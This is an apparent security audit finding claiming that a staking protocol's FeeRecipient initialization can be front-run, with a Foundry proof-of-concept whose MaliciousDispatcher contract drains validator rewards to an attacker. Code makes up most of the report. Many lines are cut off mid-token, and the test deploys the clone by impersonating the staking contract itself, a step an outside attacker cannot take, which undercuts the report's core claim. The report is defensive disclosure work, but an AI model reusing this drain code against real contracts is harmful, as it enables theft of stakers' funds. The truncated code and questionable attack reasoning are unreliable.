Fee Recipient Initialization Can Be Front-Run to Steal Rewards

HIGH SEVERITY

Vulnerability Details

The FeeRecipient.init function allows attackers to front-run validator fee withdrawals and steal 100% of user staking rewards. The vulnerability stems from the lack of dispatcher address validation during fee recipient initialization, combined with predictable CREATE2 deployment addresses. An attacker can deploy a malicious fee recipient contract at the same address the protocol expects and initialize it with their own dispatcher, causing all withdrawals to redirect funds to the attacker instead of the legitimate recipients.

The vulnerability exists in the standard FeeRecipient.sol contract's initialization process:

```
// FeeRecipient.sol
function init(address _dispatcher, bytes32 _publicKeyRoot) external {
    if (initialized) {
        revert AlreadyInitialized();
    }
    initialized = true;
    dispatcher = IFeeDispatcher(_dispatcher); // ← NO VALIDATION OF DISPATCHER
    publicKeyRoot = _publicKeyRoot;
}

function withdraw() external {
    dispatcher.dispatch{value: address(this).balance}(publicKeyRoot); // ← SEND
}
```

The protocol's deployAndWithdraw function uses CREATE2 for deterministic fee recipient deployment:

```
function _deployAndWithdraw(bytes memory _publicKey, uint256 _prefix, address _
    bytes32 publicKeyRoot = _getPubKeyRoot(_publicKey);
    bytes32 feeRecipientSalt = sha256(abi.encodePacked(_prefix, publicKeyRoot))
    address feeRecipientAddress = Clones.predictDeterministicAddress(implementa

    if (feeRecipientAddress.code.length == 0) {
        Clones.cloneDeterministic(implementation, feeRecipientSalt);
        IFeeRecipient(feeRecipientAddress).init(_dispatcher, publicKeyRoot); //
    }
    IFeeRecipient(feeRecipientAddress).withdraw();
}
```

Attack Vector

1. Attacker monitors the mempool for withdrawELFee() transactions
2. Attacker front-runs by deploying a fee recipient at the same CREATE2 address using higher gas fees
3. Attacker calls init with their malicious dispatcher before the protocol can initialize it
4. When the user's transaction executes, the protocol skips initialization (code already exists) and calls withdraw()
5. The malicious dispatcher redirects all funds to the attacker

Root Cause

- FeeRecipient.init accepts any dispatcher address without validation
- CREATE2 addresses are predictable, allowing attackers to deploy at the expected address
- The protocol assumes that if a contract exists at the expected address, it was properly initialized

Impact

- Attackers can steal the execution layer fees for any validator

- Stakers lose all rewards from their validators

Recommendation

- Replace all instances of standard FeeRecipient with AuthorizedFeeRecipient which includes proper access controls
- Alternatively use standard FeeRecipient, add validation in init
- Modify deployAndWithdraw to perform deployment and initialization atomically within the same transaction to prevent front-running

Validation Steps

A coded test function in the src/test folder. Run with the command:

```
forge test --mc FeeRecipientFrontRunVulnerabilityTest -vvvv
```

```
//SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.8.10;

import "forge-std/Test.sol";
import "../contracts/StakingContract.sol";
import "../contracts/interfaces/IDepositContract.sol";
import "../contracts/libs/BytesLib.sol";
import "../contracts/ConsensusLayerFeeDispatcher.sol";
import "../contracts/ExecutionLayerFeeDispatcher.sol";
import "../contracts/FeeRecipient.sol";
import "../contracts/TUPProxy.sol";
import "../contracts/interfaces/IFeeDispatcher.sol";
import "@openzeppelin/contracts/proxy/Clones.sol";

contract DepositContractMock is IDepositContract {
    event DepositEvent(bytes pubkey, bytes withdrawal_credentials, bytes amount

    uint256 internal counter;

    function to_little_endian_64(uint64 value) internal pure returns (bytes mem
        ret = new bytes(8);
```

```
            bytes8 bytesValue = bytes8(value);
            ret[0] = bytesValue[7];
            ret[1] = bytesValue[6];
            ret[2] = bytesValue[5];
            ret[3] = bytesValue[4];
            ret[4] = bytesValue[3];
            ret[5] = bytesValue[2];
            ret[6] = bytesValue[1];
            ret[7] = bytesValue[0];
        }

        function deposit(bytes calldata pubkey, bytes calldata withdrawalCredential
            external
            payable
        {
            emit DepositEvent(
                pubkey,
                withdrawalCredentials,
                to_little_endian_64(uint64(msg.value / 1 gwei)),
                signature,
                to_little_endian_64(uint64(counter))
            );
            counter += 1;
        }
    }

    contract MaliciousDispatcher {
        address public attacker;

        constructor() {
            attacker = msg.sender;
        }

        function dispatch(bytes32) external payable {
            payable(attacker).transfer(address(this).balance);
        }

        function getWithdrawer(bytes32) external view returns (address) {
            return attacker;
        }
    }

    contract FeeRecipientFrontRunVulnerabilityTest is Test {
        StakingContract internal stakingContract;
        DepositContractMock internal depositContract;
        ExecutionLayerFeeDispatcher internal eld;
        ConsensusLayerFeeDispatcher internal cld;
        FeeRecipient internal feeRecipientImpl;

        address internal proxyAdmin;
        address internal admin;
        address internal operator;
        address internal feeRecipient;
        address internal treasury;
        address internal attacker;
        address internal user;

        bytes constant PUBKEY_1 =
            hex"21d2e725aef3a8f9e09d8f4034948bb7f79505fc7c40e7a7ca15734bad4220a594b
        bytes constant SIGNATURE_1 =
            hex"ccb81f4485957f440bc17dbe760f374cbb112c6f12fa10e8709fac4522b30440d91

        function setUp() public {
            proxyAdmin = makeAddr("proxyAdmin");
            admin = makeAddr("admin");
            operator = makeAddr("operator");
            feeRecipient = makeAddr("feeRecipient");
            treasury = makeAddr("treasury");
            attacker = makeAddr("attacker");
            user = makeAddr("user");

            stakingContract = new StakingContract();
            depositContract = new DepositContractMock();
            feeRecipientImpl = new FeeRecipient();

            address eldImpl = address(new ExecutionLayerFeeDispatcher(1));
            address cldImpl = address(new ConsensusLayerFeeDispatcher(1));

            eld = ExecutionLayerFeeDispatcher(
                payable(
                    address(new TUPProxy(eldImpl, proxyAdmin, abi.encodeWithSignatu
                )
            );

            cld = ConsensusLayerFeeDispatcher(
                payable(
                    address(new TUPProxy(cldImpl, proxyAdmin, abi.encodeWithSignatu
                )
            );

            stakingContract.initialize_1(
                admin,
                address(treasury),
                address(depositContract),
                address(eld),
                address(cld),
                address(feeRecipientImpl),
                1000,
                2000,
                2000,
                5000
            );
            vm.startPrank(admin);
            stakingContract.addOperator(operator, feeRecipient);
            vm.stopPrank();

            vm.startPrank(operator);
            stakingContract.addValidators(0, 1, PUBKEY_1, SIGNATURE_1);
            vm.stopPrank();

            vm.startPrank(admin);
            stakingContract.setOperatorLimit(0, 1, block.number);
            vm.stopPrank();

            vm.deal(user, 32 ether);
            vm.startPrank(user);
            stakingContract.deposit{value: 32 ether}();
            vm.stopPrank();
        }

        function testFeeRecipientFrontRunVulnerability() public {
            // Get the predicted fee recipient address
            address feeRecipientAddress = stakingContract.getELFeeRecipient(PUBKEY_

            // Add 1 ETH rewards to the fee recipient
            vm.deal(feeRecipientAddress, 1 ether);

            // Attacker deploys malicious dispatcher
            vm.startPrank(attacker);
            MaliciousDispatcher maliciousDispatcher = new MaliciousDispatcher();
            vm.stopPrank();

            uint256 attackerBalanceBefore = attacker.balance;
            uint256 userBalanceBefore = user.balance;

            bytes32 publicKeyRoot = sha256(abi.encodePacked(PUBKEY_1, bytes16(0)));
            bytes32 salt = sha256(abi.encodePacked(uint256(0), publicKeyRoot));

            // Deploy fee recipient (simulating what the protocol would do)
            vm.startPrank(address(stakingContract));
            address deployedAddress = Clones.cloneDeterministic(address(feeRecipien
            vm.stopPrank();

            // Verify we deployed to the correct address
            assertEq(deployedAddress, feeRecipientAddress, "Must deploy to same add

            // Step 2: Attacker initializes with malicious dispatcher (front-runnin
            vm.startPrank(attacker);
            FeeRecipient(payable(feeRecipientAddress)).init(address(maliciousDispat
            vm.stopPrank();

            // Step 3: User calls withdrawELFee - since contract already exists, it
            // This demonstrates that the protocol's _deployAndWithdraw function ha
            // It only checks if code exists, but doesn't validate if it was initia
            vm.startPrank(user);
            stakingContract.withdrawELFee(PUBKEY_1);
            vm.stopPrank();

            uint256 attackerBalanceAfter = attacker.balance;
            uint256 userBalanceAfter = user.balance;

            // Verify the attack succeeded - attacker got the funds instead of prop
            assertEq(attackerBalanceAfter - attackerBalanceBefore, 1 ether, "Attack
            assertEq(userBalanceAfter, userBalanceBefore, "User should receive noth
            assertEq(feeRecipientAddress.balance, 0, "Fee recipient should be drain

            console.log("Attacker successfully stole:", attackerBalanceAfter - atta
        }
    }
```